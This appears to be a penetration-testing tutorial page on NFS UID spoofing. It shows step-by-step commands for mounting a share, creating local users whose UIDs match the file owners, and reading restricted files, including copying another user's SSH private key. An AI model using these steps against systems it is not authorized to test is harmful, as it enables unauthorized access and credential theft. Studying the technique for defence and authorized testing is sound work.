Skip to content
HackIndex logo

HackIndex

NFS UID Spoofing – Reading Files Without Root

3 min read Mar 11, 2026

NFS does not authenticate users — it trusts the UID and GID sent by the client. If a file on an NFS share is owned by UID 1001 and has mode 600, only a client presenting UID 1001 will be able to read it. Creating a local user on your attack box with UID 1001 makes you that user from NFS's perspective, bypassing Unix permission checks on the share.

This requires you to have already mounted the share. It does not require root on the NFS server. You do need root on your attack box to create users and reassign UIDs — which is trivially available on your own Kali machine.

For shares where you have no read access at all, see https://hackindex.io/services/nfs/exploitation/world-readable-share-exploitation. For shares with no_root_squash, see https://hackindex.io/services/nfs/exploitation/no-root-squash-abuse.

Step 1 – Identify the Target UID

Mount the share and list the files you cannot read:

┌──(kali㉿kali)-[~]
└─$ sudo mkdir /mnt/nfs
┌──(kali㉿kali)-[~]
└─$ sudo mount -t nfs $TARGET_IP:/$SHARE /mnt/nfs -o nolock
┌──(kali㉿kali)-[~]
└─$ ls -lan /mnt/nfs

Use -n to show numeric UIDs and GIDs instead of names — the local /etc/passwd will not have the remote user names, so numeric output is what you need:

-rw-------  1 1001 1001  2590 Jan 10 09:14 id_rsa
-rw-r--r--  1 1001 1001   563 Jan 10 09:14 id_rsa.pub
drwx------  2 1001 1001  4096 Jan 10 09:12 .ssh

The UID you need to impersonate here is 1001.

Step 2 – Create a Local User with the Matching UID

Create a new user on your attack box with the exact UID from the file listing:

┌──(kali㉿kali)-[~]
└─$ sudo useradd -u 1001 -m nfsuser

If UID 1001 is already assigned on your attack box, reassign your existing user or use usermod to create a conflict-free mapping:

┌──(kali㉿kali)-[~]
└─$ sudo useradd -u 1001 -o -m nfsuser

-o allows duplicate UIDs if 1001 is already taken. Alternatively, find a free UID and temporarily reassign the existing one:

┌──(kali㉿kali)-[~]
└─$ sudo usermod -u 9999 existinguser
┌──(kali㉿kali)-[~]
└─$ sudo useradd -u 1001 -m nfsuser

Step 3 – Access the Files as the Spoofed UID

Switch to the new user and read the restricted files:

┌──(kali㉿kali)-[~]
└─$ sudo su nfsuser
┌──(kali㉿kali)-[~]
└─$ cat /mnt/nfs/id_rsa
┌──(kali㉿kali)-[~]
└─$ cp /mnt/nfs/id_rsa /tmp/stolen_key

NFS now sees your client presenting UID 1001 and grants read access. The files are yours.

Spoofing Multiple UIDs

If the share contains files owned by several different UIDs, create users for each:

┌──(kali㉿kali)-[~]
└─$ ls -lan /mnt/nfs/home/ 
drwx------ 2 1001 1001 4096 jan 10 .  # user1
drwx------ 2 1002 1002 4096 jan 10 .  # user2
drwx------ 2 1003 1003 4096 jan 10 .  # user3
┌──(kali㉿kali)-[~]
└─$ sudo useradd -u 1001 -m user_spoof1
┌──(kali㉿kali)-[~]
└─$ sudo useradd -u 1002 -m user_spoof2
┌──(kali㉿kali)-[~]
└─$ sudo useradd -u 1003 -m user_spoof3

Switch between them as needed to access each home directory.

Spoofing Root (UID 0) When root_squash Is Disabled

If the share is exported with no_root_squash, you do not need UID spoofing — your attack box root is already trusted as root on the server. If root_squash is enabled (the default), UID 0 from the client is remapped to nfsnobody and spoofing root does not work. The UID spoofing technique is specifically for non-root UIDs — files owned by regular users that are not world-readable.

Cleanup

Remove the spoofed user after the engagement:

┌──(kali㉿kali)-[~]
└─$ sudo userdel nfsuser
┌──(kali㉿kali)-[~]
└─$ sudo umount /mnt/nfs

References